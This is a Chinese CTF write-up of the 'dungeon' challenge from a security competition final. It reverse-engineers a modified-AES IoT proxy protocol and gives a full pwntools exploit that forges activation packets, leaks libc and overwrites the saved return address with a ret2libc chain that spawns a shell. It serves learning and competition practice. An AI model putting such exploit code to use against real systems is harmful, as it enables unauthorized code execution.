Featured image of post 软件系统安全决赛-dungeon

软件系统安全决赛-dungeon

逆向proxy自定义IoT协议构造CoAP激活包打通MODBUS后端转发,过CoAP魔改AES包激活proxy状态 利用pwn隐藏菜单leak libc后通过数组越界写saved RIP构造ret2libc

最后更新于:
|
|
|

分析

dungeon lover:RPG 魔龙游戏。

主要文件为两个,proxypwn文件,保护如下

proxy保护全开,而pwn程序关闭了PIE和canary并且没有去符号

pwn

基本分析

监听在9999的程序,将客户端的fd全部dup2到0-2后关闭客户端fd,

程序初始化时会设置几个核心参数

  • dragon_hp = 9999
  • hp = 100
  • atk = 10
  • item[9],初始化32bytes

程序所有读取使用自定义的read_long,读入64字符后strtoll转化为数字
do_read_letter中正常玩法的攻击力上线很低,无法打败龙
do_attack_dragon中击败龙可以leak puts

漏洞

do_use_item中对于items数组可以写到idx=0x16

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
int __fastcall do_use_item(__int64 a1)
{
  int v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  puts("\n  You clutch the ring tightly, praying for a miracle.");
  printf("Select a Fate Engraving:");
  v3 = read_long();
  printf("Soul Weight to Offer:");
  v2 = read_long();
  if ( v3 > 0x16 )
    return puts("  The relic rejects your plea. The resonance fades into silence.");
  *(_DWORD *)(4 * v3 + a1) = v2;
  return printf("  You infused your soul into the %ld-th engraving. A faint crack echoes in the void...\n", v3);
}

然后提供一个隐藏菜单v11 == 5201314,过base64校验后就可以直接将攻击力提升到99999,打死龙后泄露puts地址后到do_use_items

因为read_long输入限制,将ROP中的地址转换为有符号int后按照四字节四字节写入到RIP指针上即可。回到handle里的时候就可以tele看到我们写入的链子了,退出触发

proxy

分析

程序提供的远程环境是proxy的,开在8888/tcp上,作为代理转发程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int optval; // [rsp+4h] [rbp-2Ch] BYREF
  int fd; // [rsp+8h] [rbp-28h]
  int v5; // [rsp+Ch] [rbp-24h]
  struct sockaddr s; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  optval = 1;
  fd = socket(2, 1, 0);
  setsockopt(fd, 1, 2, &optval, 4u);
  memset(&s, 0, sizeof(s));
  s.sa_family = 2;
  *(_DWORD *)&s.sa_data[2] = 0;
  *(_WORD *)s.sa_data = htons(8888u);
  bind(fd, &s, 0x10u);
  listen(fd, 16);
  signal(17, (__sighandler_t)((char *)&dword_0 + 1));
  while ( 1 )
  {
    do
      v5 = accept(fd, nullptr, nullptr);
    while ( v5 < 0 );
    if ( !fork() )
    {
      close(fd);
      connect_handler(v5);
    }
    close(v5);
  }
}

proxy将端口监听到8888/tcp上,步入后可以看到读取16字节协议头来进行消息验证和转发
主要验证方式如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn connect_handler(unsigned int a1)
{
  unsigned int v1; // [rsp+10h] [rbp-40h] BYREF
  int v2; // [rsp+14h] [rbp-3Ch] BYREF
  _BYTE v3[24]; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( header_len_read(a1, v3, 16) == 16 && !(unsigned int)sub_14C9(v3, &v2) )
  {
    v1 = a1;
    forward(&v1);
    close(a1);
    exit(0);
  }
  write(a1, "ERR: bad header\n", 0x10u);
  close(a1);
  exit(0);
}
// ---- 
__int64 __fastcall sub_14C9(_QWORD *a1, __int64 a2)
{
  __int64 v2; // rdx

  v2 = a1[1];
  *(_QWORD *)a2 = *a1;
  *(_QWORD *)(a2 + 8) = v2;
  if ( strcmp((const char *)a2, "IoT") )
    return 0xFFFFFFFFLL;
  if ( *(_BYTE *)(a2 + 5) == 1 )
    return 0;
  return 0xFFFFFFFFLL;
}

分析协议头要求得到前四字节为IoT\x00,第五字节必须为\x01,向后分析转发函数通过函数指针表驱动一个状态机跳转进入处理函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void __fastcall sub_354F(__int64 a1)
{
  unsigned int v1; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v1 = 0;
  for ( i = 0; i <= 7 && v1 < 6; ++i )
  {
    v1 = ((__int64 (__fastcall *)(__int64))state_table[v1])(a1);
    if ( v1 == 5 )
    {
      off_6048();
      return;
    }
  }
}

状态机与分支

在状态选择函数中会根据menu从头部偏移+8的字节返回初始协议状态,逆向分析完后确认到如下函数

1
2
3
4
5
state 1  -> MQTT处理
state 2 -> CoAP处理
state 3 -> 转发后端连接处理,转发到9999/tcp上
state 4 -> unknown protocol
state 5 -> 结束

其中关键函数在state3的分支中找到转发到9999

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
unsigned __int64 __fastcall sub_32CD(unsigned int a1, __int64 a2)
{
  size_t v2; // rax
  int v4; // [rsp+10h] [rbp-30h]
  __pid_t pid; // [rsp+14h] [rbp-2Ch]
  sockaddr addr; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( (unsigned int)sub_18C2(a2) )
  {
    sub_1930(a2);
    v4 = socket(2, 1, 0);
    if ( v4 >= 0 )
    {
      memset(&addr, 0, sizeof(addr));
      addr.sa_family = 2;
      *(_WORD *)addr.sa_data = htons(9999u);
      inet_pton(2, "127.0.0.1", &addr.sa_data[2]);
      if ( connect(v4, &addr, 0x10u) >= 0 )
      {
        pid = fork();
        if ( !pid )
        {
          pipe_loops(v4, a1);
          exit(0);
        }
        pipe_loops(a1, v4);
        close(v4);
        waitpid(pid, nullptr, 0);
      }
      else
      {
        close(v4);
      }
    }
  }
  else
  {
    v2 = strlen("MODBUS: ERR 0x06 - Server device busy.\nRun diagnostics first.\n");
    write(a1, "MODBUS: ERR 0x06 - Server device busy.\nRun diagnostics first.\n", v2);
  }
  return v7 - __readfsqword(0x28u);
}

pipe_loops函数实现了将fd1(stdin) forward to fd2(stdout)的功能,并支持最长读取0x1000内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
unsigned __int64 __fastcall pipe_loops(int a1, int a2)
{
  ssize_t i; // rax
  _BYTE buf[16]; // [rsp+20h] [rbp-1010h] BYREF
  unsigned __int64 v5; // [rsp+1028h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = read(a1, buf, 0x1000u); i > 0 && i == write(a2, buf, i); i = read(a1, buf, 0x1000u) )
    ;
  return v5 - __readfsqword(0x28u);
}

自此proxy分析完毕,了吗?

无法放行的数据与报文加密?

碎碎念
我说怎么不去符号,结果大的在后面

在进入到分支三后,我们在测试的时候会发现若状态未完成(state!=1),那么状态机会返回

1
 MODBUS: ERR 0x06 - Server device busy.\nRun diagnostics first.\n

我们步入查看给state赋值的部分

1
2
3
4
5
6
7
8
9
_BOOL8 __fastcall check_state(__int64 a1)
{
  char v2[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  state_record(v2, 0x60u, "state", a1);
  return (unsigned int)sub_1610(v2, 0) == 1;
}

找到赋值语句在CoAP的分支中

因此如果我们只使用这一个分支那么状态必然不为ACTCITEVATE_GATEWAY,我们必须进入到CoAP分支查看加密格式和激活完成状态的条件,将同一个device idstate置为1才能真正通过校验转发

CoAP分析

如上图结构,我们进入到CoAP分支后进行逆向分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
unsigned __int64 __fastcall CoAP(int fd, __int16 legnth, __int64 dev_id)
{
  size_t v3; // rax
  size_t v4; // rax
  unsigned __int64 v7; // [rsp+20h] [rbp-130h]
  _BYTE command[16]; // [rsp+40h] [rbp-110h] BYREF
  __int64 v9; // [rsp+50h] [rbp-100h] BYREF
  unsigned __int8 v10[240]; // [rsp+58h] [rbp-F8h] BYREF
  unsigned __int64 v11; // [rsp+148h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  if ( (int)record_fail(dev_id) <= 4 )          // fail <= 4
  {
    if ( legnth == 32 )
    {
      if ( header_len_read(fd, (__int64)command, 32u) == 32 )
      {
        if ( !(unsigned int)verify_and_dec((__int64)command, 32u, dev_id) )
        {
          v7 = sub_1B13(v10);
          if ( v7 == checksum((__int64)command, (__int64)&v9, dev_id) )
          {
            if ( !memcmp(command, "ACTIVATE_GATEWAY", 0x10u) )
            {
              set_state(dev_id);
              unlink_fail(dev_id);
              write(fd, "CoAP: Device activated.\n", 0x17u);
              return v11 - __readfsqword(0x28u);
            }
            if ( !memcmp(command, "ACTIVATE_FACTORY", 0x10u) )
            {
              fail(dev_id);
              v3 = strlen("CoAP: Factory profile activated.\n");
              write(fd, "CoAP: Factory profile activated.\n", v3);
              return v11 - __readfsqword(0x28u);
            }
            if ( !memcmp(command, "SYNC_DIAGNOSTICS", 0x10u) )
            {
              fail(dev_id);
              v4 = strlen("CoAP: Diagnostics sync complete.\n");
              write(fd, "CoAP: Diagnostics sync complete.\n", v4);
              return v11 - __readfsqword(0x28u);
            }
          }
          fail(dev_id);
          write(fd, "CoAP: ACK 0x00\n", 0xFu);
          return v11 - __readfsqword(0x28u);
        }
        fail(dev_id);
        write(fd, "CoAP: ERR decrypt\n", 0x12u);
      }
      else
      {
        fail(dev_id);
        write(fd, "CoAP: ERR incomplete\n", 0x15u);
      }
    }
    else
    {
      fail(dev_id);
      write(fd, "CoAP: ERR bad length\n", 0x15u);
    }
  }
  else
  {                                             // failcount(dev_id)>4
    write(fd, "CoAP: ERR throttled\n", 0x14u);
  }
  return v11 - __readfsqword(0x28u);
}

在我们正常进入以后CoAP再次读取一个32字节密文块
根据fail的处理分析,我们可以大致得到这个块的结构

1
2
3
0x00-0x10 command 
0x10-0x18 body 
0x18-0x20 checksum little endian 

其中body有三种命令,我们只需要调用到ACTICATE_GATEWAY即可,其向/tmp/.iot_state_%016llx写入1激活state

加密与校验过程

通过verify_and_dec函数对每个块按16字节分割并进行解密处理 步入第一个查看一下

是一个初始化s_box的过程,6180为逆s盒,那往下是具体的解密过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 __fastcall aes_decrypt(__int64 *a1, unsigned __int64 dev_id)
{
  __int64 v2; // rdx
  __int64 v3; // rdx
  int i; // [rsp+1Ch] [rbp-D4h]
  __int64 v6; // [rsp+20h] [rbp-D0h] BYREF
  __int64 v7; // [rsp+28h] [rbp-C8h]
  _QWORD v8[20]; // [rsp+30h] [rbp-C0h] BYREF
  __int64 v9; // [rsp+D0h] [rbp-20h] BYREF
  unsigned __int64 v10; // [rsp+E8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v2 = a1[1];
  v6 = *a1;
  v7 = v2;
  sub_252D(byte_4010, v8, dev_id);
  addRoundkeys((__int64)&v6, (__int64)&v9);
  for ( i = 9; i > 0; --i )
  {
    shiftrows(&v6);
    invsubBytes((__int64)&v6);
    addRoundkeys((__int64)&v6, (__int64)&v8[2 * i]);
    invmixcolumns((__int64)&v6);
  }
  shiftrows(&v6);
  invsubBytes((__int64)&v6);
  addRoundkeys((__int64)&v6, (__int64)v8);
  v3 = v7;
  *a1 = v6;
  a1[1] = v3;
  return v10 - __readfsqword(0x28u);
}

魔改AES,魔改了s盒,调整了解密函数部分流程,其中行位移顺序不是按照标准行数跟移动数来的、魔改了密钥扩展,并且魔改了轮常量操作,在轮常量异或后加入了一个混合操作
s盒魔改,在生成s盒的时候加修改了仿射常量常量0xa7进行异或操作,导致s盒和逆s盒都被魔改

轮常量魔改
正常生成轮常量后对0x5a进行了异或处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
__int64 __fastcall sub_24EE(int a1)
{
  int v1; // eax
  unsigned __int8 i; // [rsp+17h] [rbp-1h]

  for ( i = 1; ; i = mixcoulumns(i, 2u) )
  {
    v1 = a1--;
    if ( v1 <= 1 )
      break;
  }
  return i ^ 0x5Au;
}

行位移顺序魔改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall shiftrows(_QWORD *a1)
{
  __int64 v1; // rdx
  int i; // [rsp+10h] [rbp-30h]
  int j; // [rsp+14h] [rbp-2Ch]
  int k; // [rsp+18h] [rbp-28h]
  int m; // [rsp+1Ch] [rbp-24h]
  _QWORD v7[3]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v1 = a1[1];
  v7[0] = *a1;
  v7[1] = v1;
  for ( i = 0; i <= 3; ++i )
    *((_BYTE *)a1 + 4 * i) = *((_BYTE *)v7 + 4 * i);
  for ( j = 0; j <= 3; ++j )
    *((_BYTE *)a1 + 4 * j + 1) = *((_BYTE *)v7 + 4 * (((unsigned __int8)j + 3) & 3) + 1);
  for ( k = 0; k <= 3; ++k )
    *((_BYTE *)a1 + 4 * k + 2) = *((_BYTE *)v7 + 4 * (((unsigned __int8)k + 1) & 3) + 2);
  for ( m = 0; m <= 3; ++m )
    *((_BYTE *)a1 + 4 * m + 3) = *((_BYTE *)v7 + 4 * (((unsigned __int8)m + 2) & 3) + 3);
  return v8 - __readfsqword(0x28u);
}

操作如下 row0: +0 row1: +3 row2: +1 row3: +2

密钥拓展魔改
混合操作如下

1
2
3
4
5
  for ( m = 0; m <= 10; ++m )
  {
    for ( n = 0; n <= 15; ++n )
      *((_BYTE *)&a2[2 * m] + n) ^= (unsigned __int8)(dev_id >> (8 * (n & 7u))) ^ (unsigned __int8)(17 * m + 29 * n);
  }

与我们的dev_id ^ (i>>4)和线性组合17*m+29*n进行了异或混淆

总流程如下

1
2
3
4
5
6
7
8
9
AddRoundKey(last)
for round 9..1:
  ShiftRows
  InvSubBytes
  AddRoundKey(round)
  InvMixColumns
InvShiftRows
InvSubBytes
AddRoundKey(first)

那么反向加密如下

1
2
3
4
5
6
7
8
9
AddRoundKey(first)
for round 1..9:
  SubBytes
  InvShiftRows
  MixColumns
  AddRoundKey(round)
SubBytes
ShiftRows
AddRoundKey(last)

自此拆解密文包的解密流程完成,我们的密文包如下

1
2
3
4
5

S-box      正常仿射变换后异或常量 0xa7
Key        16字节固定key
Key extend 每轮正常执行拓展后key byte再异或`dev_id ^ (i>>4)`和线性轮常量
input Block 第i个16字节块使用device_id ^ (i >> 4)

之后我们解密出的内容会进入checksum进行校验,照着抄就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall checksum(__int64 a1, __int64 a2, __int64 a3)
{
  unsigned __int64 v3; // rax
  int i; // [rsp+18h] [rbp-10h]
  int j; // [rsp+1Ch] [rbp-Ch]
  unsigned __int64 v8; // [rsp+20h] [rbp-8h]
  unsigned __int64 v9; // [rsp+20h] [rbp-8h]

  v8 = a3 ^ 0xA3B1BAC6C2D3E4F5LL;
  for ( i = 0; i <= 15; ++i )
    v8 = 0x100000001B3LL
       * sub_15A3(
           ((unsigned __int64)(unsigned __int8)(*(_BYTE *)(i + a1) ^ byte_4010[i & 0xF]) << (8 * (i & 7u))) ^ v8,
           13);
  for ( j = 0; j <= 7; ++j )
  {
    v3 = sub_15A3(
           ((__int64)(*(unsigned __int8 *)(j + a2) + byte_4010[((_BYTE)j + 7) & 0xF]) << (8 * (j & 7u))) ^ v8,
           17);
    v8 = 0xFF51AFD7ED558CCDLL * (v3 ^ (v3 >> 23));
  }
  v9 = 0xC4CEB9FE1A85EC53LL * (((v8 ^ a3 ^ 0x9E3779B97F4A7C15LL) >> 33) ^ v8 ^ a3 ^ 0x9E3779B97F4A7C15LL);
  return (v9 >> 29) ^ v9;
}

exp

在用vim查看python aes模块和文档的时候一直步入找到_core部分有标准的AES模块

一个方便的写法就是复用这个模块以后我们就可以用接口拿来魔改AES了

1
2
3
4
5
6
7
origin_aes.sbox = lambda x=None: tuple(SBOX) if x is None else SBOX[x]
origin_aes.rcon = (
    lambda x=None: tuple(proxy_gen_rcon(i+1) for i in range(28))
    if x is None
    else proxy_gen_rcon(x+1)
)
origin_aes.shiftrows = proxy_shiftrows

exp如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
# pyright: reportUnboundVariable=false
import argparse
import sys
from pwn import *
import aes.core._core as origin_aes
parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./proxy" #启动在8888端口
attackfile="./pwn" 
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = 8888 
elf = ELF(attackfile, checksec=False)
if libc_name:
    libc = ELF(libc_name, checksec=False)

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

ret_addr= 0x40101A
pop_rdi_ret = elf.sym["legacy_abi_bridge"]  # endbr64; pop rdi; ret
mask64= (1 << 64)- 1
proxy_aes_key= bytes.fromhex("1337C0DE426699AB5A11F00D7E88214C")

def rol8(x, n):
    n &= 7
    return ((x << n) | (x >> ((8 - n) & 7))) & 0xFF

def rol64(x, n):
    n &= 63
    return ((x << n) | (x >> ((64 - n) & 63))) & mask64

def gf_mul(a, b):
    a &= 0xFF
    b &= 0xFF
    r = 0
    for _ in range(8):
        if b & 1:
            r ^= a
        hi = a & 0x80
        a = (a << 1) & 0xFF
        if hi:
            a ^= 0x1B
        b >>= 1
    return r & 0xFF

def gf_pow(a1,a2=254): # 非0的时候调用到
    v5=1
    while a2:
        if a2 & 1:
            v5 = gf_mul(v5, a1)
        a1 = gf_mul(a1, a1)
        a2 >>= 1
    return v5

# 魔改sbox 异或0xa7
def init_sbox():
    sbox = [] 
    for i in range(256):
        num = 0 if i == 0 else gf_pow(i, 254)
        sbox.append(
            num ^ rol8(num , 1) ^ rol8(num, 2) ^ rol8(num, 3) ^ rol8(num, 4) ^ 0xA7
        ) 
    return sbox

SBOX=init_sbox()

# 魔改轮常量,异或0x5a
def proxy_gen_rcon(a1):
    i  = 1
    while True:
        v1=a1  
        a1-= 1
        if v1<= 1:
            break
        i = gf_mul(i, 2)
    return i ^ 0x5A

# proxy使用+0 +3 +1 +2的顺序移动,反过来就是+0 +1 +3 +2
def proxy_shiftrows(state):
    old = state[:]
    out = [0] * 16
    for i in range(4):
        out[4 * i] = old[4 * i]
        out[4 * i + 1] = old[4 * ((i + 1) & 3) + 1]
        out[4 * i + 2] = old[4 * ((i + 3) & 3) + 2]
        out[4 * i + 3] = old[4 * ((i + 2) & 3) + 3]
    return out


origin_aes.sbox = lambda x=None: tuple(SBOX) if x is None else SBOX[x]
origin_aes.rcon = (
    lambda x=None: tuple(proxy_gen_rcon(i+1) for i in range(28))
    if x is None
    else proxy_gen_rcon(x+1)
)
origin_aes.shiftrows = proxy_shiftrows


# 密钥拓展魔改
def proxy_expand_key(dev_id):
    expand_key = origin_aes.key_expansion(list(proxy_aes_key),128)

    for round in range(11):
        for n in range(16):
            expand_key[round*16+n] ^= ((dev_id >> (8*(n&7))) & 0xFF) ^ (
                (17*round + 29*n) & 0xFF 
            )
            expand_key[round*16+n] &= 0xFF
    return expand_key

def checksum(cmd,body,dev_id):
    h = (dev_id^ 0xA3B1BAC6C2D3E4F5) &  mask64
    for i in range(16):
        x = (((cmd[i] ^ proxy_aes_key[i & 0xF]) << (8 * (i & 7))) ^ h) & mask64
        h = (0x100000001B3 * rol64(x, 13)) & mask64 
    for j in range(8):
        x = (((body[j] + proxy_aes_key[(j + 7) & 0xF]) << (8 * (j & 7))) ^ h) & mask64
        v = rol64(x, 17)
        h = (0xFF51AFD7ED558CCD * (v ^ (v >> 23))) & mask64
    x = (h ^ dev_id^ 0x9E3779B97F4A7C15) & mask64
    y = (0xC4CEB9FE1A85EC53 * (((x >> 33) ^ x) & mask64)) & mask64
    return ((y >> 29) ^ y) & mask64

# aes加密魔改结束

def header(proto,dev,length=0):
    return b"IoT\x00"+ bytes([proto,1])+p16(length)+p64(dev)

def encrypt_block(block,dev_id):
    return bytes(origin_aes.encryption(list(block), proxy_expand_key(dev_id)))

def proxy_CoAP(cmd,dev_id,body=b"test"):
    cmd=cmd.ljust(16,b"\x00")
    body=body.ljust(8,b"\x00") 
    plain_text=cmd+body+p64(checksum(cmd,body,dev_id)) 
    return b"".join(
        encrypt_block(plain_text[i:i+16],dev_id ^ (i>>4)) for i in range(0, len(plain_text), 16)
    )

def activate_proxy(host,port,device):
    io = remote(host,port)
    io.send(header(2,device,0x20))
    io.send(proxy_CoAP(b"ACTIVATE_GATEWAY",device))
    data = io.recv()
    io.close()
    if b"Device activated" in data:
         CLEAR_TEXT("Device activated successfully!")


if args.mode == 0:
    procs=[]
    procs.append(process(attackfile))
    time.sleep(0.5)
    procs.append(process(filename)) 
    CLEAR_TEXT("[*] Running on local machine")
    activate_proxy(remote_addr,remote_port,0x1337133713371337)
    io=remote(remote_addr,remote_port)
    io.send(header(3,0x1337133713371337,0))
elif args.mode == 1:
    procs=[]
    procs.append(process(attackfile))
    time.sleep(0.5)
    procs.append(process(filename)) 
    gdb.attach(procs[0], gdbscript='''
    set follow-fork-mode child
    b *0x40182e
    b *0x401920
    b *0x401f93
        # put your scripts here
    ''')
    activate_proxy(remote_addr,remote_port,0x1337133713371337)
    io=remote(remote_addr,remote_port)
    io.send(header(3,0x1337133713371337,0))
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)

def choose(io,choice):
    io.recvuntil(b"> ",timeout=10)
    io.sendline(str(choice).encode())


def write32(io, idx, value):
    choose(io, 5)
    io.recvuntil(b"Engraving:", timeout=5)
    io.sendline(str(idx).encode())
    signed = value if value < (1 << 32) else value - (2^32)
    io.recvuntil(b"Offer:")
    io.sendline(str(signed).encode())

def write64(io, idx, value):
    write32(io, idx, value & 0xFFFFFFFF)
    write32(io, idx + 1, (value >> 32) & 0xFFFFFFFF)


def leak_libc(io):
    choose(io, 6)
    io.recvuntil(b"] ", timeout=10)
    puts_addr=int(io.recvline(),16)
    libc.address = puts_addr - libc.sym["puts"]
    VIO_TEXT(f"libc base = {libc.address:#x}")


choose(io, 0x4F5DA2)
io.recvuntil(b":")
io.sendline(b"03070203") #调整atk
leak_libc(io)

payload=flat(
    ret_addr,
    pop_rdi_ret,
    next(libc.search(b"/bin/sh\x00")),
    libc.sym["system"]
)

for off in range(0, len(payload), 8):
      write64(io, 14 + off // 4, u64(payload[off:off + 8]))

choose(io,0)
io.interactive()

后日谈

失败
这里在比赛的时候太紧张了一直找不到报文里对应跳转表的具体进入点再加上还有多个函数和奇怪的魔改AES算法……卡在这里了很久…完全就是策略的失败,习惯让ai逆向之后脑子都不好使了,导致了另外两题来不及分析

话说回来这也是第四次的线下赛了,不过在国内应该算是我第一次参加这么大的赛事?

今年的参赛袋

第一次公费住这么好的酒店
可惜没有时间体验合肥的风土人情就匆匆结束了第一天,因为担心准备不够充分第一天其实感觉基本在做练习?结果还是经验不足,web难度大,pwn又挑了个硬岔在那里打,现场坐久了还热的头晕…

超级大的体育馆

可以猜猜哪个是我……反正也看不到脸

卡旺卡超好喝,这个马蹄丸子跟我想象中的口感完全不一样!

总的来说也感受到了线下赛事的紧张和严肃性,因为完全的断网(或许?这道dungeon一小时出了好多人到底是真的佬太强了还是…据说有出网手段,也无所谓了还是自己菜)和禁止ai 不过认识了很多师傅!其中有一位pwn师傅的勤奋程度和思考深度都很厉害,还是非科班。复现以后也是收获颇深